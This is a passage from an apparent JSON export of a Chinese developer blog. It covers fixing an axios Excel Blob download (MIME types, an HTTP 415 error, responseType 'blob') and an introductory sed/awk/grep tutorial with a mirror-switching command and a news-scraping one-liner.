代码对普通用户来说可读 (\u003ca href=\"https://tools.ietf.org/html/rfc3023#section-3\"\u003eRFC 3023\u003c/a\u003e, section 3)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xul\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eXUL\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.mozilla.xul+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.zip\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eZIP archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/zip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.3gp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/3GP_and_3G2\"\u003e3GPP\u003c/a\u003e audio/video container\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/3gpp\u003c/code\u003e \u003ccode\u003eaudio/3gpp\u003c/code\u003e(若不含视频)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.3g2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/3GP_and_3G2\"\u003e3GPP2\u003c/a\u003e audio/video container\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/3gpp2\u003c/code\u003e \u003ccode\u003eaudio/3gpp2\u003c/code\u003e(若不含视频)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.7z\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/7-Zip\"\u003e7-zip\u003c/a\u003e archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-7z-compressed\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e上面的MIME类型就是Content-Type和Accept两个字段的内容。因此,我们应该将请求头改为如下的形式:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eAccept\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后还是出现HTTP 415错误,不过是后端返回的数据的请求头。让后端排查了下,发现是Spring的代理把请求头改成\u003ccode\u003eapplication/json\u003c/code\u003e了,所以前端这才会出现415的错误。\u003c/p\u003e\u003cp\u003e但是,还有一个小问题没解决,所以下载还是用不了。\u003c/p\u003e\u003ch2 id=\"问题2-Blob\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E9%97%AE%E9%A2%982-Blob\" class=\"headerlink\" title=\"问题2-Blob\"\u003e\u003c/a\u003e问题2-Blob\u003c/h2\u003e\u003cp\u003e改了两边的请求头并确定都没问题后,发现虽然能正常下载了,但是下载的内容Execl还是不能打开。但是最奇怪的是,APIfox下载的Excel是可以打开的。遂对比了下APIfox和我的代码下载下来的Excel文件,发现我的好像大了一点。\u003c/p\u003e\u003cp\u003e于是在搜索后,又给axios加上了\u003ccode\u003eresponseType: \u0026#39;blob\u0026#39;\u003c/code\u003e的参数,并且给生成Blob的地方也加上了\u003ccode\u003eapplication/vnd.ms-execl\u003c/code\u003e的参数。再次尝试时,下载已经能正常工作了。\u003c/p\u003e\u003cp\u003e于是我猜测,可能是下载时没有将后端返回的数据转换成Blob数据而直接存入Blob对象,引发了数据错位的问题,导致文件大了一点,并且不能正常打开。\u003c/p\u003e\u003cp\u003e修改后的代码:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title function_\"\u003eserviceAxios\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003emethod\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eurl\u003c/span\u003e: \u003cspan class=\"string\"\u003e`/template/export/\u003cspan class=\"subst\"\u003e${\u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.form_data.id}\u003c/span\u003e`\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eAccept\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003edata\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eresponseType\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;blob\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003cspan class=\"title function_\"\u003ethen\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eres\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eisShow\u003c/span\u003e = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003edownload\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eres,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e.\u003cspan class=\"property\"\u003ename\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003esuccess\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载成功\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e.\u003cspan class=\"title function_\"\u003ecatch\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eerr\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eerror\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载失败:\u0026#39;\u003c/span\u003e + err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就行了。里面的\u003ccode\u003edownload()\u003c/code\u003e是随便封装的一个下载Blob文件的工具函数,参数分别是blob数据,MIME类型和文件名。\u003c/p\u003e\u003ch2 id=\"反思\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E5%8F%8D%E6%80%9D\" class=\"headerlink\" title=\"反思\"\u003e\u003c/a\u003e反思\u003c/h2\u003e\u003cp\u003e这学期学计网的时候,重点学的部分是物理层,数据链路层,网络层以及传输层。唯一剩下的一层应用层则因为课时压缩直接压没了(但是期末大题还是考了SMTP协议)。但是恰恰是应用层这一部分在日常前端开发中使用最多。\u003c/p\u003e\u003cp\u003e这侧面反映出来了大学教育体系的一些问题,也提醒我们,书不能看一半,趁着大学有时间,尽量让自己的知识面更加全面一些,这是绝对值得的。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/"},{"title":"sed,awk与grep","time":"2023-07-10T08:17:33Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e关于标题:实际上,sed,awk和grep有一个共同的爹叫\u003cstrong\u003eed\u003c/strong\u003e。sed和awk的区别是控制指令不太一样,而grep是起源于ed的一个指令:\u003ccode\u003eg/re/p\u003c/code\u003e,即\u003cstrong\u003e全局-正则表达式匹配-打印\u003c/strong\u003e,相当于把这个ed指令提取出来专门用于编辑。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之前学了Vim,不过Vim不太容易和其他命令行工具结合实现一些自动化任务。随后我将目光投向了sed和awk,它们二者都满足这个条件:\u003cstrong\u003e可以将一个源的数据经过一些预定义的变换,输出到另一个源中\u003c/strong\u003e。这其中,我对\u003ccode\u003esed\u003c/code\u003e相对更加熟悉一些,awk我感觉可能更复杂一些,而sed只需要正则表达式就行。比如我之前接触到的第一个sed表达式:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -i \u003cspan class=\"string\"\u003e\u0026#39;s@^\\(deb.*stable main\\)$@#\\1\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/apt/termux-main stable main@\u0026#39;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$PREFIX\u003c/span\u003e/etc/apt/sources.list\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面那段是termux清华源的换源指令。单就命令格式上来看,我觉得和Vim的\u003ccode\u003e%s\u003c/code\u003e替换表达式比较接近。\u003c/p\u003e\u003cp\u003e没接触之前,一直觉得这玩意很神奇;接触后更感觉这东西的设计太棒了,只需要指令,就能完成大段内容的编辑。\u003c/p\u003e\u003cp\u003e后来接触了正则和Vim之后觉得似曾相识,才发现sed的用法很像Vim的替换指令+正则。而且这一套下来,效率提升真不小。以前做一些爬虫都编辑麻烦,现在直接写个脚本就完事了。比如,我最近为了尝试这三个流编辑器,写了一个爬新闻的脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e -e \u003cspan class=\"string\"\u003e\u0026#34;# IT news Today\\n\\n\u003cspan class=\"subst\"\u003e$(wget -qO- https://www.ithome.com/block/rank.html | grep -oP \u0026#39;\u0026lt;li\u0026gt;\\s*\u0026lt;a\\K[^\u0026gt;]+\u0026#39; | awk -F \u0026#39;\u003cspan class=\"string\"\u003e\u0026#34;\u0026#39; \u0026#39;{print \u0026#34;\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$2\u003c/span\u003e\u0026#34;\u003c/span\u003e](\u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$6\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u0026#34;\u003c/span\u003e}\u003cspan class=\"string\"\u003e\u0026#39; | sed \u0026#39;\u003c/span\u003es/^/- /g\u003cspan class=\"string\"\u003e\u0026#39;)\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是一个简单的单行脚本:借助管道,将wget抓取到的网页直接交由grep,让它使用Perl正则表达式将新闻标题和链接匹配出来,再交由awk将具体的字段分离出来并按照markdown的标准进行加工,最后交由sed使用行编辑模式在每一行前面加上一个\u003ccode\u003e- \u003c/code\u003e变换为markdown的列表。最后,将输出返回给\u003ccode\u003eecho -e\u003c/code\u003e,得到加上标题的、完整的输出。\u003c/p\u003e\u003cp\u003e其实,上面的例子只用grep+sed/awk就行,但是为了表现三个编辑器各自的特点,还是安排它们共同完成了这个变换工作。希望这个例子能给你带来一个粗浅的印象。\u003c/p\u003e\u003cp\u003e那么,现在就开始正篇吧。\u003c/p\u003e\u003ch2 id=\"sed\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#sed\" class=\"headerlink\" title=\"sed\"\u003e\u003c/a\u003esed\u003c/h2\u003e\u003cp\u003e首先说说sed它爹ed,这玩意是个很经典的行编辑器。不光可以交互编辑(类似于Vim,不过只能通过交互式指令输出操作结果,比如p输出当前行内容之类的),而且还能把操作指令存储下来\u003c/p\u003e\u003ch3 id=\"基本介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#%E5%9F%BA%E6%9C%AC%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"基本介绍\"\u003e\u003c/a\u003e基本介绍\u003c/h3\u003e\u003cp\u003esed是一个流编辑器,它可以对文本文件或标准输入进行处理和编辑。sed的基本用法是:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed [options] \u003cspan class=\"string\"\u003e\u0026#39;script\u0026#39;\u003c/span\u003e file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,options是一些可选的参数,script是一些sed命令,file是要处理的文本文件。下面是一些常用的options:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e-n\u003c/code\u003e:只打印匹配到的行,不打印所有行。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-e\u003c/code\u003e:可以指定多个script,按顺序执行。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-f\u003c/code\u003e:可以从一个文件中读取script。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-i\u003c/code\u003e:可以直接修改原文件,而不是输出到标准输出。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e-r\u003c/code\u003e:可以使用扩展正则表达式。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003esed的script由一些地址和命令组成,地址可以指定要处理的行,命令可以指定要执行的操作。下面是一些常用的地址和命令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e地址可以是一个数字,表示行号,如\u003ccode\u003e3\u003c/code\u003e表示第三行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是一个范围,表示行号之间的区间,如\u003ccode\u003e3,5\u003c/code\u003e表示第三行到第五行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是一个正则表达式,表示匹配该模式的行,如\u003ccode\u003e/^abc/\u003c/code\u003e表示以abc开头的行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e地址可以是\u003ccode\u003e$\u003c/code\u003e,表示最后一行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果不指定地址,默认对所有行进行处理。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ea\u003c/code\u003e,表示在当前行后面添加一些内容,如\u003ccode\u003ea\\newline\u003c/code\u003e表示在当前行后面添加一行newline。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ec\u003c/code\u003e,表示用新的内容替换当前行,如\u003ccode\u003ec\\newtext\u003c/code\u003e表示用newtext替换当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ed\u003c/code\u003e,表示删除当前行,如\u003ccode\u003ed\u003c/code\u003e表示删除当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003ep\u003c/code\u003e,表示打印当前行,如\u003ccode\u003ep\u003c/code\u003e表示打印当前行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e命令可以是\u003ccode\u003es\u003c/code\u003e,表示用新的内容替换匹配到的内容,如\u003ccode\u003es/old/new/g\u003c/code\u003e表示将old替换为new,g表示全局替换。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"示例:\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#%E7%A4%BA%E4%BE%8B%EF%BC%9A\" class=\"headerlink\" title=\"示例:\"\u003e\u003c/a\u003e示例:\u003c/h3\u003e\u003cul\u003e\u003cli\u003e打印1-3行:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed -n \u003cspan class=\"string\"\u003e\u0026#39;1,3p\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e删除1-3行:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;1,3d\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e在所有行前加#:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;s/^/#/g\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e将所有字母大写:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esed \u003cspan class=\"string\"\u003e\u0026#39;s/.*/\\U\u0026amp;/g\u0026#39;\u003c/span\u003e file.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"参考资料\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"参考资料\"\u003e\u003c/a\u003e参考资料\u003c/h3\u003e\u003cp\u003e¹: \u003ca href=\"https://www.runoob.com/linux/linux-comm-sed.html\"\u003eLinux sed 命令 | 菜鸟教程\u003c/a\u003e\u003cbr/\u003e²: \u003ca href=\"https://zhuanlan.zhihu.com/p/181734158\"\u003esed 命令快速入门 - 知乎\u003c/a\u003e\u003cbr/\u003e³: \u003ca href=\"https://zhuanlan.zhihu.com/p/145661854\"\u003esed完全教程 - 知乎\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"awk\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#awk\" class=\"headerlink\" title=\"awk\"\u003e\u003c/a\u003eawk\u003c/h2\u003e\u003ch2 id=\"grep\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/#grep\" class=\"headerlink\" title=\"grep\"\u003e\u003c/a\u003egrep\u003c/h2\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/"},{"title":"ElementPlus快速入门","time":"2023-07-09T17:13:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"快速开始\"\u003e\u003ca 